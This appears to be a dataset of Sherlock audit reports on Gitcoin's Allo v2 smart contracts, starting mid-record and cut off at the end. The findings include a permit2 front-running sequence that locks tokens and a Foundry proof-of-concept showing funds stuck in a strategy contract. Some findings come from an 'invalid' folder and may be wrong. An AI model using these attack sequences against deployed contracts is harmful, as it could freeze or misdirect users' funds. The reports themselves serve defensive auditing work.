Recommendation\nTo resolve this issue, you should add a require statement to check if the contract has been approved to transfer tokens on behalf of the `_transferData.from` address. You can use the `allowance` function of the ERC20 token to check this. Here is how you can modify the `_transferAmountFrom` function:\n\n```solidity\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n // Check if the contract is allowed to transfer tokens on behalf of _transferData.from\n IERC20 token = IERC20(_token);\n uint256 allowance = token.allowance(_transferData.from, address(this));\n require(allowance >= amount, \"Transfer amount exceeds allowance\");\n\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n}\n```\n\nThis modification ensures that the contract checks if it has been approved to transfer the specified amount of tokens on behalf of the `_transferData.from` address. If the contract is not approved, the transaction will fail with the message \"Transfer amount exceeds allowance\". This prevents unauthorized transfers of tokens.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/004.md"}} +{"title":"Add default constructor that calls _disableInitializers()","severity":"info","body":"Polished Linen Butterfly\n\nmedium\n\n# Add default constructor that calls _disableInitializers()\n\nThe protocol uses upgradable contracts. Calling the `initialize()` function directly on the implementation contract behind a proxy is dangerous. In such case, if the implementation calls self-destruct or performs delegate calls itā€™s possible to delete the implementation leaving the contract bricked. \n\nContracts should include a default constructor calling `_disableInitializers()` function: (https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/proxy/utils/Initializable.sol#L181) of `Initializable.sol`.\n\n## Vulnerability Detail\n\nUpgradable contracts are an essential protocol feature, allowing for flexible updates and maintenance. However, when implementing upgradable contracts, ensuring that the `initialize()` function is not accidentally called directly on the implementation contract behind the proxy is crucial. If this occurs and the implementation contract contains self-destruct or delegate calls, it can result in the unintended deletion of the implementation contract.\n\n## Impact\n\nMedium, as the probability of an issue is low.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInclude a default constructor in the contract that calls the `_disableInitializers()` function from `Initializable.sol`. This ensures that initializers cannot be accidentally invoked on the implementation contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/002.md"}} +{"title":"Invalid condition: the pool will not be created if the msg.value is strictly equal to the required one value","severity":"info","body":"Proud Neon Stallion\n\nmedium\n\n# Invalid condition: the pool will not be created if the msg.value is strictly equal to the required one value\n\nInvalid condition: the pool will not be created if the msg.value is strictly equal to the required one\n\n## Vulnerability Detail\n\nThe comment says that \n// If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n// If _token is not NATIVE, then baseFee should be >= than msg.value.\nhowever, the condition that goes below is designed so that with strict equality the transaction will be reverted\n\n```solidity\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\n\n## Impact\n\nThe pool will not be created if the msg.value is strictly equal to the required one. That is, the system will not work as planned.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C5-L475\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\ncorrect the condition\n\n```solidity\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/001.md"}} +{"title":"Token lockup vulnerability in _afterAllocate function","severity":"medium","body":"Interesting Shamrock Lemur\n\nhigh\n\n# Token lockup vulnerability in _afterAllocate function\n\nThe `DonationVotingMerkleDistributionVaultStrategy.sol` smart contract is susceptible to a front-running attack during the execution of the `_afterAllocate` function, specifically when using the `permitTransferFrom` function from the Uniswap permit2 contract. This vulnerability arises because a malicious user can front-run the transaction, calling the `permitTransferFrom` function with the same parameters and the same signature. This action results in tokens being sent to the smart contract but without updating the total payout amount for the claim.\nFurthermore, the user's transaction will subsequently revert due to protections on Uniswap permit2 contract against replay attacks, causing some user tokens to become permanently stuck within the `DonationVotingMerkleDistributionVaultStrategy.sol` contract.\n\n## Vulnerability Detail\n\nThe vulnerability occurs when a user interacts with the `DonationVotingMerkleDistributionVaultStrategy.sol` contract and attempts to use the `permitTransferFrom` function from the Uniswap permit2 contract. A malicious user can see the transaction in the mempool and front-run the transaction. By doing so, he can call `permitTransferFrom` with the exact same parameters, leading to the transfer of tokens to the smart contract as desired. However, the total payout amount for the claim is not updated because the malicious user send tokens to the contract directly, and did not by the `_afterAllocate`. Additionally, the user's transaction would revert, because of the protection against replay attacks, resulting in some tokens being permanently locked within the smart contract.\n\nLet's take an example, taking the [sequence diagram](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/README.md#sequence-diagram) to facilitate.\n\nAll the workflow is the same.\n\n1. When Bob calls `allocate()`, the front-runner bot see it.\n2. Then the front-runner is able to know each parameter of the call.\n3. He converts this data, then he has:\n- `p2Data.permit`\n- `amount`\n- `_sender`\n- `p2Data.signature`\n4. He calls the permit2 contract with following parameters: \n```solidity\n permitTransferFrom(\n p2Data.permit,\n ISignatureTransfer.SignatureTransferDetails({to: [STRATEGY_CONTRACT_ADDRESS], requestedAmount: amount}),\n _sender,\n p2Data.signature\n )\n```\n5. Tokens are well received.\n6. Bob's transaction revert because the signature was already used.\n7. `claims[recipientId][token] += amount` was not done. So `recipientId` will not be able to claim tokens.\n\nTokens are now frozen on the contract.\n\n## Impact\n\nThe impact of this vulnerability is significant. A malicious user exploiting this issue can effectively lock tokens within the `DonationVotingMerkleDistributionVaultStrategy.sol` contract without properly updating the total payout amount for the claim. This can result in a discrepancy between the claimed and actual token balances, leading to potential financial losses for the affected users. Furthermore, the user's transaction reverting can further complicate the situation, making it impossible to recover the locked tokens.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L121-L132\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo mitigate this vulnerability and prevent potential token lockups and discrepancies, it is recommended to revise the contract's logic. I recommend to delete the Uniswap permit2 feature and to only allow simple `transferFrom` calls.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//024-M/014-best.md"}} +{"title":"Funding During Distribution Can Skew Allocation Amounts","severity":"medium","body":"Fierce Pearl Falcon\n\nmedium\n\n# Funding During Distribution Can Skew Allocation Amounts\n\nChanges to the funding pool during the fund distribution process can result in an inconsistent and incorrect allocation of funds to recipients.\n\n## Vulnerability Detail\n\nIn the Allo contract, the `fundPool` function allows for the addition of funds to a pool. This function can be invoked by anyone at any time, thereby increasing the `poolAmount`.\n\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345\n\nHowever, in the QVSimpleStrategy, fund distribution to recipients is based on the `poolAmount` and the proportion of votes that each recipient has received.\n\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L570-L572\n\nThe issue arises when not all recipients are paid out in a single transaction due to a high number of recipients. If additional funds are added to the pool between these transactions, it results in a skewed distribution. Recipients who are paid later may end up receiving disproportionately more funds than those paid earlier, despite having fewer votes.\n\n## Impact\n\nThis discrepancy results in an unfair and incorrect distribution of funds among the recipients.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L570-L572\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTemporarily disable the `fundPool` function during the fund distribution process.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//023-M/792-best.md"}} +{"title":"Can not create a pool by cloning strategies on zkSync network","severity":"medium","body":"Shiny Gingham Bee\n\nhigh\n\n# Can not create a pool by cloning strategies on zkSync network\nCan not create pool by cloning strategies on zkSync network because of different behaviors from EVM instructions between zkSync and Ethereum\n\n## Vulnerability Detail\nWhen creating pool by cloning strategies, logics inside `Clone::createClone(address,uint256)` is executed, which calls to `ClonesUpgradeable::cloneDeterministic()`. Here, OpenZeppelin implements `ClonesUpgradeable::cloneDeterministic()` to deploy minimal proxy using almost assembly and using `create2`. \n\nSo far, cloning a strategy using library `Clone` would get failed as [zksync docs pointed out](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#evm-instructions)\n\nPoC:\n[Check this deployed address on zksync era testnet](https://goerli.explorer.zksync.io/address/0xB1ae3211B3171a866bDCC2a69dA36448F594B9F6#contract). Try clone(), we would get failed\n\n## Impact\nProtocol does not work properly on zksync era: could not create pool by cloning strategies\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L190\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/libraries/Clone.sol#L26-L35\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider implementing different pattern for deploying/cloning strategies, such as: Using Factory for each kind of strategy and allow `Allo` contract to calls to Factory to deploy/clone strategies","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//022-M/411-best.md"}} +{"title":"EIP-1167 is not supported on zkSync Era","severity":"medium","body":"Curved Chocolate Iguana\n\nmedium\n\n# EIP-1167 is not supported on zkSync Era\nCreation of new pools will fail on zkSync Era.\n\n## Vulnerability Detail\nzkSync Era is using different opcodes rendering Clones unusable.\n\n## Impact\nIt is not possible to create new pools due to a failure when cloning the strategy.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L190\n\n## Code Snippet\n```solidity\n//SPDX-License-Identifier: Unlicense\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/Clones.sol\";\nimport \"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol\";\nimport {CREATE3} from \"solady/src/utils/CREATE3.sol\";\n\ncontract Target {\n uint256 private _poolId;\n constructor() {}\n\n function initialize(uint256 poolId_) external {\n if (_poolId != 0) revert(\"Nop\");\n\n _poolId = poolId_;\n }\n\n function getPoolId() external view returns (uint256) {\n return _poolId;\n }\n}\n\ncontract Cloner {\n address private _target;\n mapping(address => uint256) private _nonces;\n\n constructor() {\n _target = address(new Target());\n }\n\n function cloneTarget() external {\n Clones.clone(_target);\n }\n}\n```\nCalling `cloneTarget` will fail here.\n\nYou can try this contract on zkSync Era testnet : https://goerli.explorer.zksync.io/address/0x8dBBdcF3ED7b2761fc58A6ebc1259aCa739A9Cc5#contract\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse ERC1967Proxy in zkSync Era to clone strategies when creating new pools.\n\n```Solidity\n function createERC1967Target(uint256 poolId_) external {\n bytes32 salt = keccak256(abi.encodePacked(msg.sender, _nonces[msg.sender]++));\n\n address target = address(new ERC1967Proxy{salt: salt}(_target, \"\"));\n\n Target(target).initialize(poolId_);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//022-M/100.md"}} +{"title":"````reviewRecipients()```` might rollback recipients' new applications","severity":"medium","body":"Atomic Ultraviolet Mole\n\nmedium\n\n# ````reviewRecipients()```` might rollback recipients' new applications\nDue to the asynchronous nature of blockchain, there is a time delay from when a recipient initiates a registration transaction, to when that transaction is mined, and finally to when it is displayed on pool manager's frontend. But ````reviewRecipients()```` of ````DonationVotingMerkleDistributionBaseStrategy```` update ````statusesBitMap```` in ````fullRow```` mode without checking if new applications submitted during this ````delay````. This would cause new applications to be overwritten from ````Status.Pending```` to ````Status.None```` .\n\n## Vulnerability Detail\nLet's look at the implementation of ````reviewRecipients()````, ````statusesBitMap```` is updated with ````fullRow```` without checking data freshness.\n```solidity\nFile: contracts\\strategies\\donation-voting-merkle-base\\DonationVotingMerkleDistributionBaseStrategy.sol\n341: function reviewRecipients(ApplicationStatus[] memory statuses)\n342: external\n343: onlyActiveRegistration\n344: onlyPoolManager(msg.sender)\n345: {\n346: // Loop through the statuses and set the status\n347: for (uint256 i; i < statuses.length;) {\n348: uint256 rowIndex = statuses[i].index;\n349: uint256 fullRow = statuses[i].statusRow;\n350: \n351: statusesBitMap[rowIndex] = fullRow;\n352: \n353: // Emit that the recipient status has been updated with the values\n354: emit RecipientStatusUpdated(rowIndex, fullRow, msg.sender);\n355: \n356: unchecked {\n357: i++;\n358: }\n359: }\n360: }\n\n\n```\n\nNow, let's consider the case below:\n_for simplicity, let a ````fullRow=0xABCD```` represents 4 recipients' status, 4 bits per recipient._\n(1) pool manager begins to review applications and there are two pending applications, the initial states are\n```solidity\nblock.timestamp = 100\nfullRow = 0x0011\n```\n\n(2) a third recipient's application initiated, but doesn't mined\n```solidity\nblock.timestamp = 195\nfullRow = 0x0011\n```\n(3) the pool manager approves the first two applications, initiate a transaction with new ````fullRow = 0x0022````\n```solidity\nblock.timestamp = 200\nfullRow = 0x0011\n```\n\n(4) the third recipient's application transaction mined\n```solidity\nblock.timestamp = 205\nfullRow = 0x0111\n```\n\n(5) the pool manager's approval transaction mined\n```solidity\nblock.timestamp = 210\nfullRow = 0x0022\n```\nWe can see the third application's status is overwritten from ````Status.Pending(1)```` to ````Status.None(0)```` .\n\n## Impact\n(1) recipients' applications might be rolled back\n(2) updates from other pool managers might also be overwritten.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341\n\n## Tool used\n\nManual Review\n\n## Recommendation\nP.S. this solution is easy but can't address the conflicts between pool managers.\n```diff\nFile: contracts\\strategies\\donation-voting-merkle-base\\DonationVotingMerkleDistributionBaseStrategy.sol\n-341: function reviewRecipients(ApplicationStatus[] memory statuses)\n+341: function reviewRecipients(ApplicationStatus[] memory statuses, uint256 refRecipientsCounter)\n342: external\n343: onlyActiveRegistration\n344: onlyPoolManager(msg.sender)\n345: {\n+ if (refRecipientsCounter != recipientsCounter) revert STATUSES_OUTDATED();\n346: // Loop through the statuses and set the status\n347: for (uint256 i; i < statuses.length;) {\n348: uint256 rowIndex = statuses[i].index;\n349: uint256 fullRow = statuses[i].statusRow;\n350: \n351: statusesBitMap[rowIndex] = fullRow;\n352: \n353: // Emit that the recipient status has been updated with the values\n354: emit RecipientStatusUpdated(rowIndex, fullRow, msg.sender);\n355: \n356: unchecked {\n357: i++;\n358: }\n359: }\n360: }\n\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//021-M/569-best.md"}} +{"title":"Unprotected status transitions in reviewRecipients function at DonatingVotingMerkleDistributionBaseStrategy","severity":"medium","body":"Uneven Holographic Llama\n\nmedium\n\n# Unprotected status transitions in reviewRecipients function at DonatingVotingMerkleDistributionBaseStrategy\nThe reviewRecipients function in the provided contract allows arbitrary status transitions without checks, potentially leading to incorrect recipient statuses. This can disrupt the intended flow and logic of the application.\n\n## Vulnerability Detail\nThe contract uses a bitmap representation to manage the statuses of recipients. Each recipient's status is represented using 4 bits, allowing for encoding of 5 defined statuses: none (0), pending (1), accepted (2), rejected (3), and appealed (4). The intended status flow is:\nnone -> pending\npending -> accepted or rejected\nrejected -> appealed\naccepted -> pending\nappealed -> pending, accepted or rejected\n\nHowever, the reviewRecipients function, which updates the statuses, does not enforce these intended transitions. It permits arbitrary changes in status. This means valid statuses like accepted can be inadvertently or deliberately reverted to none, or rejected can be changed to pending, both of which are unintended and potentially disruptive transitions.\n\nGiven the intricacy of the bitmap logic and the importance of recipient statuses, this absence of checks is risky. While the function is manager-controlled, the manager might by oversight disrupt the contract's state. The complexity of the logic further amplifies the chances of unintentional mistakes.\n\n## Impact\n\nThe arbitrary status transitions can cause backend functions to return incorrect data, directly affecting frontend displays and possibly misleading users. This can lead users to believe that pool managers are trying to manipulate allocations or act in non-transparent ways. The potential mistrust and confusion created can undermine the credibility of the entire system.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341-L360\n\n```solidity\nfunction reviewRecipients(ApplicationStatus[] memory statuses)\n external\n onlyActiveRegistration\n onlyPoolManager(msg.sender)\n {\n // Loop through the statuses and set the status\n for (uint256 i; i < statuses.length;) {\n uint256 rowIndex = statuses[i].index;\n uint256 fullRow = statuses[i].statusRow;\n\n statusesBitMap[rowIndex] = fullRow;\n\n // Emit that the recipient status has been updated with the values\n emit RecipientStatusUpdated(rowIndex, fullRow, msg.sender);\n\n unchecked {\n i++;\n }\n }\n }\n```\n\nNotice the lack of validation checks at the function, it overrides all statuses regardless of their initial state.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn the current implementation of the reviewRecipients function, recipient statuses are updated directly without checks on the validity of these transitions.\n\nStatus Transition Validation:\nImplement a helper function, isValidTransition, which verifies if a proposed status change is consistent with the allowed transitions based on the current status.\n```solidity\nfunction isValidTransition(uint256 currentStatus, uint256 newStatus) internal pure returns (bool) {\n if (currentStatus == 0) {\n return newStatus == 1;\n } else if (currentStatus == 1) {\n return newStatus == 2 || newStatus == 3;\n } else if (currentStatus == 2) {\n return newStatus == 1;\n } else if (currentStatus == 3) {\n return newStatus == 4;\n } else if (currentStatus == 4) {\n return newStatus == 1 || newStatus == 2 || newStatus == 3;\n }\n return false;\n}\n```\nBy incorporating this function into reviewRecipients, only legitimate status transitions are permitted. This reduces the risk of state disruptions.\nModified function: \n```solidity\nfunction reviewRecipients(ApplicationStatus[] memory statuses)\n external\n onlyActiveRegistration\n onlyPoolManager(msg.sender)\n{\n // Loop through the statuses and set the status\n for (uint256 i = 0; i < statuses.length; i++) {\n uint256 rowIndex = statuses[i].index;\n uint256 fullRow = statuses[i].statusRow;\n\n // Calculate column index for the given recipient in the bitmap\n uint256 colIndex = rowIndex * 4;\n\n // Retrieve current and new statuses\n uint256 currentStatus = (statusesBitMap[rowIndex] >> (256 - (colIndex + 4))) & 0xF;\n uint256 newStatus = (fullRow >> (256 - (colIndex + 4))) & 0xF;\n\n // Validate the status transition\n require(isValidTransition(currentStatus, newStatus), \"Invalid status transition\");\n\n // Update the status in the bitmap\n statusesBitMap[rowIndex] = fullRow;\n\n // Emit that the recipient status has been updated with the values\n emit RecipientStatusUpdated(rowIndex, fullRow, msg.sender);\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//021-M/383.md"}} +{"title":"M-04 Funds can be locked in the DonationVotingMerkleDistributionBaseStrategy due to having a receive payable function and the unique functionality of the withdraw function.","severity":"medium","body":"Mammoth Aquamarine Wallaby\n\nmedium\n\n# M-04 Funds can be locked in the DonationVotingMerkleDistributionBaseStrategy due to having a receive payable function and the unique functionality of the withdraw function.\nDue to a payable receive function and the withdraw function only withdrawing based on internal accounting and tokens, funds can be stuck in the contract.\n## Impact\nFunds sent into the contract using the `receive` function, or other ERC20 tokens not of the `pool.token` can remain locked in the contract.\n\n## Vulnerability Detail\nThe internal accounting uses the `poolAmount` variable to keep track of the balances.\n\nThe receive function does not increment the `poolAmount` variable when funds are received, this in itself is not an issue as the contract token may not be the `NATIVE` token.\n\nTwo scenarios arise from this situation.\nThe first being that if the `pool.token` is ETH, the actual balance of the contract and the internal accounting can differ significantly.\nThe second aspect to keep in mind is that, should the `pool.token` not be ETH, the `poolAmount` variable is tracking the balance of the `pool.token`, and there is no mechanism to keep track of ETH funds that may be sent into the contract using the `receive` function.\n\nIn the first scenario the values would be misaligned leaving the funds locked in the contract and in the second scenario, the `NATIVE`(ETH) funds could never be withdrawn as the `withdraw` function uses the `pool.token` to decide what type of transfer to action.\n\nScenario1 (pool token is ETH):\n1. The `poolAmount` is 1 ETH.\n2. 10 ETH is sent in using the `receive` function.\n3. The actual balance is now 11 ETH.\n4. The pool admin withdraws 1 ETH.\n5. The internal accounting decrements `poolAmount` to be ZERO.\n6. The actual balance is now 10 ETH\n7. The funds are locked because the withdraw function will revert due to any value sent into the withdraw function being greater the `poolAmount` (ZERO) as in the check below.\n```solidity\nif (_amount > poolAmount) {\n revert INVALID();\n }\n```\n\nScenario2 (pool token is USDC):\n1. The `poolAmount` is 1 USDC.\n2. 10 ETH is sent in using the `receive` function.\n3. The actual balance is now 1O ETH and 1 USDC.\n4. The pool admin withdraws 1 USDC.\n5. The internal accounting decrements `poolAmount` to be ZERO.\n6. The actual balance is still 10 ETH\n7. The funds are locked because the withdraw function will revert due to any value sent into the withdraw function being greater the `poolAmount` (ZERO) as in the check below.\n```solidity\nif (_amount > poolAmount) {\n revert INVALID();\n }\n```\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n\nA similar scenario can be found in RFPSimpleStrategy.sol.\n\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (_amount > poolAmount) {\n revert INVALID();\n }\n\n poolAmount -= _amount;\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n }\n```\n\n\n\n## PoC\nCopy/Paste this test function in the `DonationVotingMerkleDistributionBase.t.sol` file in the `test/foundry/strategies/` directory:\n```solidity\nfunction test_depositAndWithdraw() public {\n address tester = makeAddr(\"tester\");\n vm.deal(tester, 100 ether);\n vm.startPrank(tester);\n console.log(\"[+] The strategy poolAmount variable value before deposit is : \",strategy.getPoolAmount());\n console.log(\"[+] The balance of the strategy contract before the call is : \",address(strategy).balance);\n console.log(\"[+] Now depositing 10 ETH\");\n address(strategy).call{value: 10 ether}(\"\");\n console.log(\"[+] The strategy poolAmount variable value after deposit is : \",strategy.getPoolAmount());\n console.log(\"[+] The balance of the strategy contract after the call is : \",address(strategy).balance);\n vm.stopPrank();\n vm.warp(block.timestamp + 90 days);\n console.log(\"[+] Now withdrawing 1 ETH\");\n vm.startPrank(pool_admin());\n strategy.withdraw(1 ether);\n vm.stopPrank();\n console.log(\"[+] The strategy poolAmount variable value after withdrawal is : \",strategy.getPoolAmount());\n console.log(\"[+] The balance of the strategy contract after withdrawal is : \",address(strategy).balance);\n console.log(\"[+] There is still 10 ETH of funds to withdraw but the internal accounting shows ZERO\");\n console.log(\"[+] Try withdrawing 1 ETH\");\n console.log(\"[+] We are expecting a revert\");\n vm.startPrank(pool_admin());\n vm.expectRevert();\n strategy.withdraw(1 ether);\n vm.stopPrank();\n }\n```\n## Output\n```text\n[PASS] test_depositAndWithdraw() (gas: 109514)\nLogs:\n [+] The strategy poolAmount variable value before deposit is : 1000000000000000000\n [+] The balance of the strategy contract before the call is : 1000000000000000000\n [+] Now depositing 10 ETH\n [+] The strategy poolAmount variable value after deposit is : 1000000000000000000\n [+] The balance of the strategy contract after the call is : 11000000000000000000\n [+] Now withdrawing 1 ETH\n [+] The strategy poolAmount variable value after withdrawal is : 0\n [+] The balance of the strategy contract after withdrawal is : 10000000000000000000\n [+] There is still 10 ETH of funds to withdraw but the internal accounting shows ZERO\n [+] Try withdrawing 1 ETH\n [+] We are expecting a revert\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.60ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\nRun forge test \n```text\nforge test --match-contract DonationVotingMerkleDistributionBaseMockTest --match-test test_depositAndWithdraw -vv\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nTwo possibilities could be considered.\n1. Modify the withdraw function to work with the actual balance of the contract based on the token that is required to be withdrawn, and allow the caller to specify the token.\n2. Increment the `poolAmount` on receiving funds via the `receive` function.\n\nThe second option would only work if the token would always be the `NATIVE` token, therefore it would be preferable to alter the withdraw function or implement a separate `sweep` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//020-M/719-best.md"}} +{"title":"allowed tokens are stuck because withdrawing is only possible for only one pool token","severity":"medium","body":"Smooth Sandstone Caterpillar\n\nmedium\n\n# allowed tokens are stuck because withdrawing is only possible for only one pool token\n\nFor some strategies users can allocate tokens that are whitelisted/allowed. But the pool manager can only withdraw the token that is the primary pool token which is defined when the pool is first created. Allowed tokens are getting stuck inside this strategies.\n\n## Vulnerability Detail\n\nFor example for `DonationVotingMerkleDistributionDirectTransferStrategy` strategy that inherits the `DonationVotingMerkleDistributionBaseStrategy` users can allocate different allowed tokens:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L645\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L653-L655\n\nbut when the pool manager wants to withdraw the tokens it can only withdraw the default/primary one\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L408\n\n## Impact\n\nAllowed tokens get stuck inside the strategy.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange `withdraw` method to allow withdrawing of all allowed tokens not just the primary one.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//020-M/638.md"}} +{"title":"If more than one token is allowed in `DonationVotingMerkleDistributionVaultStrategy`, there is no way to withdraw all tokens","severity":"medium","body":"Dandy Lavender Wombat\n\nhigh\n\n# If more than one token is allowed in `DonationVotingMerkleDistributionVaultStrategy`, there is no way to withdraw all tokens\n\nThe `withdraw` function in `DonationVotingMerkleDistributionVaultStrategy` can only withdraw one particular token but since for this strategy multiple tokens can be sent to the strategy, all other tokens will be lost if they are not claimed by the recipients. \n\n\n## Vulnerability Detail\nWhen donating funds to recipients in the `DonationVotingMerkleDistributionVaultStrategy`, the user can donate multiple different tokens. The list of the allowed tokens is represented in the mapping `allowedTokens`. When a user donates some tokens, they are send to the strategy where they can later be claimed. Sometimes not all tokens are claimed, e.g. because the transfer to the address does not work because the address is blacklisted for interactions with the token or the recipient does not claim them at all. In such a case, the remaining tokens can be rescued by the pool manager by calling the `withdraw` function. The problem here is that the withdraw function references the pool token saved in the pool data in the allo contract. In this data only one token can be saved. This means that if a second, different token is allowed for donations and remains in the strategy it cannot be withdrawn and will be stuck in the contract for ever. \n\n## Impact\n\nTokens that are not set as the token for the pool in the allo contract and are still in the strategy after 30 days will be stuck in the strategy for ever since they can not be withdrawn by the pool 